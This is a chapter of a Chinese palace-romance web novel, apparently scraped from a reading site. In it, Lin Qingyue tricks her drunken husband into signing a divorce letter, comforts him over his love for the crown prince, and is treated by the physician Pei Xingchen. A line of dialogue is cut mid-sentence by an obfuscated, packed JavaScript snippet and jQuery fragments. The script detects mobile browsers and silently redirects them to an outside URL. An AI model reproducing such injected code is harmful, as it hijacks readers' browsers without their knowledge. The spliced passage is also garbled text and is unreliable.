50. 劝慰

作品:《裴御医太难撩

    林清玥走后,王妃直接摔了茶盏,骂道:“这林清玥最近是反了不成,处处跟我作对,哪里还有当初温婉柔顺的样子!”


    孙嬷嬷柔声安抚道:“依老奴看,世子妃是铁了心想离开王府,得了您的休书心里高兴着呢。只是王爷定是不会同意休掉世子妃的,世子亦如此,若是他们知晓了此事,怕是会......”


    “会如何?”王妃“蹭”地一下站起身来,咬牙道:“就一个四载无所出,就够我休她的了。”


    孙嬷嬷小心翼翼道:“王爷前阵子不是还说可以从宗室里过继一个孩子养在世子妃名下......”


    “那怎么行,到底不是亲生的,隔了十万八千里!”


    孙嬷嬷想了想说:“王妃娘娘,近几日林侧妃娘娘已经在给朱昱观定亲了,若是顺利的话很快就会有子嗣,到时候怕是对您不利......”


    王府里还有四位侧妃,不过当初纳近来都比她小很多,孩子也小,只有朱昱观稍微年长一些,和朱昱陵差了两岁。


    在她的施压下,朱昱观已经耽搁到了二十岁,再不成婚确实不像个样子。


    但若是朱昱观有了子嗣,一切,就难料了。


    王妃沉默半晌问孙嬷嬷:“陵儿最近还宿在朗山阁,派人请不回来?”


    孙嬷嬷叹了口气,“是啊,世子最近也不知受了什么刺激,夜夜宿在那儿,也不常去宫里了。”


    王妃一下子明白过来,原来自己的宝贝儿子如此受打击,是因为和太子生了嫌隙。没想到陵儿对这个堂兄痴心一片,可太子是什么人,怎么可能独宠一人呢?真是痴傻!


    林清玥回到湘竹苑,抓紧时间锻炼行走,还命云袖出去帮她定制一副拐杖。


    夜间,当她沐浴换上里衣,在画屏的搀扶下上榻。


    这时画屏忽地“呀”了一声,指着她脚踝的珠串说:“世子妃,这珠串真好看,珍珠个个圆润透亮,这红宝石更是了不得,跟琉璃似的。”


    说完,见林清玥神色恍惚,瞬间猜到了是何人送的了,画屏一想到他们是何境地下将这珠串戴在脚踝上,悄悄红了脸。


    待画屏离开后,林清玥取下珠串,在手心里仔细端详。


    确实漂亮。尤其是中间镶嵌的那颗红宝石,在手心里折射着红光。


    上次在马车里,他径直给她戴上,说什么礼物,真是奇怪,她稀罕他的礼物?!


    套在手腕上,又摩挲了一阵,本想取下来扔到妆奁盒子里,可到底是没放回去。


    反正挺好看的,先收着吧。说不定等她离开王府后,这东西还能典当一些银钱呢。


    *


    又过了两日,见朱昱陵还不回来,王妃急了,只好让孙嬷嬷去湘竹苑,命林清玥亲自将人请过来。


    林清玥接到这个任务,倒是乐意之至。


    她将休书叠好,仔细揣在怀里,乔装一番,入夜去了朗山阁。


    直达五楼,因为给老鸨的银子足够多,她顺利知道朱昱陵在哪个雅间。


    推门入内,却见雅间里酒气熏天,地上桌上全是酒壶,再看榻上,那衣衫不整的不就是消失了七日的朱昱陵吗?


    “世子,醒醒。”林清玥上前,推了推他。


    朱昱陵缓缓睁开眼,一个生得极为俊俏的小公子赫然入目,他不禁笑了,伸出手想去摸一摸那小公子的脸。


    林清玥忙闪避开来,微微蹙眉道:“世子,看清楚了,我是林清玥。”


    朱昱陵猛地坐起身来,瞪大眼睛看着面前的人,上上下下打量一番笑了:“清玥,是你啊,我还以为是老鸨给我送来了新来的俊俏小官人呢。”


    他收拾好衣衫下榻,端起桌上的酒壶,却发现一滴不剩,他扬声对外喊道:“再来十壶酒。”


    酒很快就送过来了,林清玥看着朱昱陵继续一杯又一杯,倒也不劝,反倒是主动给他斟酒,并说:“听闻太子殿下把那位李官人宠的无法无天,说要给他专门修葺一所金碧辉煌的宫殿,可把圣上气坏了。”


    这事还是林景行偷偷跟她说得,她借机来刺激朱昱陵一番,趁着他喝醉发疯的时候,让他在和离书上前签字画押。


    朱昱陵闻言,眼里的哀痛溢出来,苦笑一声说:“我十五岁便跟了皇兄,如今已七载。可是我一直是躲在黑暗中,见不得光。我本以为是世俗不允,呸!根本不是,原是他不够爱我!”


    他举起酒壶,直直地往嘴里倒,“清玥,你说,我哪里比不上哪个李粲,他生得没我俊朗,空有一张嘴,皇兄为何偏偏喜欢他呢?”


    林清玥知道他在发泄,也不多说,只一味给他端酒,没一会朱昱陵就醉了,趴在桌子上,一副要昏睡过去的模样。


    林清玥见状,立刻说:“世子,近几日我闲来无事打算练练字。您的字自成风格我很是喜欢,劳烦您在纸上写上几个字,让我回去临摹临摹。”


    她立刻拿出休书,放在桌子上,让画屏找来笔墨,朱昱陵努力睁开眼,拿起笔问:“在哪里写?”


    林清玥捏着他的手,放在休书末端,笑道:“这里,写你的名字即可。”


    朱昱陵现在看什么都重影,但自己的名字是刻在骨子里的熟悉,几乎是闭着眼睛写完了。


    最后一笔落下,他像是丧失了所有力气,趴在桌上睡着了。


    林清玥望着这休书,满心喜悦,只是片刻后,忽然想起来,这休书还差一样东西,那就是王府的印章,不然算不得数。


    出了朗山阁,她吩咐几个侍从从侧门进去,将朱昱陵抬上马车。就这样,她成功完成任务。


    王妃第二日便来了湘竹苑,关起门来,不知和朱昱陵说了什么,最后朱昱陵又宿在了湘竹苑的主卧房内。


    到了夜间,朱昱陵进了她的小卧房,脸色阴沉道:“你告诉母亲我和皇兄的事了?”


    林清玥诧异地看向他,“我没有说,我只说了你喜爱男子。”


    他恶狠狠瞪着她,“你为何要说?你凭什么说?你知不知道,我母亲知道后多么难过。”


    “她早些知道,你不也轻松一些吗,整日里演戏你不累我都嫌累了。”林清玥说得是真心话。


    朱昱陵两只手按住她的肩膀,狠狠用力,“你知道什么?我一个堂堂世子,喜欢男子,还喜欢的是我的堂兄,这是符合世俗礼法,符合人伦道义吗?”


    “你自己若是不认可自己,没有人会认可你。”林清玥直直地望向他,声音冷硬却真诚。


    朱昱陵蓦地一怔,他松开手,抱住自己的头,“我认可我自己,又如何?皇兄不爱我了,不爱我了!这个世界上唯一认可我的人也消失了!”


    “世子,”林清玥见他精神不佳,放缓声音说,“爱就是爱,它不分性别,不论世俗礼法,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17042733|191100||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    它是发自本心的东西。”


    “只是,你的爱,最需要被认可的是你自己,而不是其他人。即便别人不再爱你,那你可以继续爱你自己,重新振作。这世间何其辽阔,何必拘泥于一人?”


    朱昱陵嘶吼一声,颓丧瘫在地上,痛哀道:“我已不会爱人,爱己......”


    朱昱陵连夜起了高热,连着三日不退,正巧这日裴星沉来给林清玥诊病,便顺带给朱昱陵诊治。


    王妃也来了,满脸愁容,心里止不住地懊恼,是不是那日不该说出她知道的秘密。


    “裴御医,陵儿如何了?”王妃刚说完,朱昱陵又开始梦呓,嘴里含糊地含着“皇兄”。


    王妃脸色一沉,看向了林清玥,林清玥心里冷笑,还以为她会维护她的宝贝儿子丑事?


    再说,裴星沉早就知晓。


    王妃见她不解释,只好自己说:“裴御医,陵儿这几日总是梦魇,应是回忆了儿时的事情.....”


    裴星沉松开手,沉吟片刻说:“世子因情志郁积受损,又兼连日酗酒、废寝不眠,耗损了心神与元气,故而引发了高热之症。”


    “臣开几副清热解表、护心安神的方子,退了热后,还请王妃和世子妃多劝世子,莫要伤怀。”


    王妃终于放下心来,对于裴星沉的医术她还是很认可的。


    待王妃走后,裴星沉按照惯例给林清玥把脉,他还没开口询问她的腿部情况,她主动说:“裴御医,我这几日每日会花一个时辰用竹杖练习走路。”


    “世子妃倒是心急,”裴星沉微微挑眉,“那且让臣瞧瞧世子妃是如何使用竹杖的吧。”


    “画屏,取我的竹杖来。”


    不一会儿,画屏送来了一副全新的竹杖,青绿色的竹杖,上方包裹着棉布,防止硌人。


    在画屏的助力下,林清玥拄着竹杖,一步一步地往前挪。虽然走得很慢,很吃力,但她很享受这样的过程。


    “很好。”裴星沉望着她的背影,低低吐出两个字,唇角弯起一抹笑意,眼底满是藏不住的欣慰。


    林清玥看了他一眼,心头微微发胀,走了一圈后,她有些撑不住了,索性坐下来。


    “裴御医,兴许过不了十日,我就能离开竹杖,缓慢行走了。”


    “快了。”裴星沉笑了笑,没有反驳,执笔写下新的药方,并递给她一瓶新的药油。


    这次他没有主动给她按揉,而是拱手道:“臣盼望世子妃早日健步如飞,臣也好跟圣上交差了。”


    林清玥心头微暗,浅浅笑道:“这段时日,多谢裴御医悉心诊疗。”


    裴星沉提起药箱正要走,却听见外面传话:“世子妃,王爷让你去他院子里一趟。”


    林清玥说稍后就来,裴星沉正要告辞,却状似无意地道:“前些日子,我将《百鸟归巢图》送给了王爷,世子妃如有雅兴可去一赏。”


    林清玥微微一怔。


    这是她年少时喜欢的大家之作,只可惜真迹千金难求,她惦念了很久,没料到他还记得。


    林清玥去了王爷院子,今日难得王妃不在,说话间少了一份紧张。


    “听闻前几日你去施粥时,遇到难民劫持了,可有受伤?”


    “劳烦父亲惦记,儿媳没有受伤。”


    靖安王微微颔首,忽地话锋一转,“听闻那日裴御医也在?”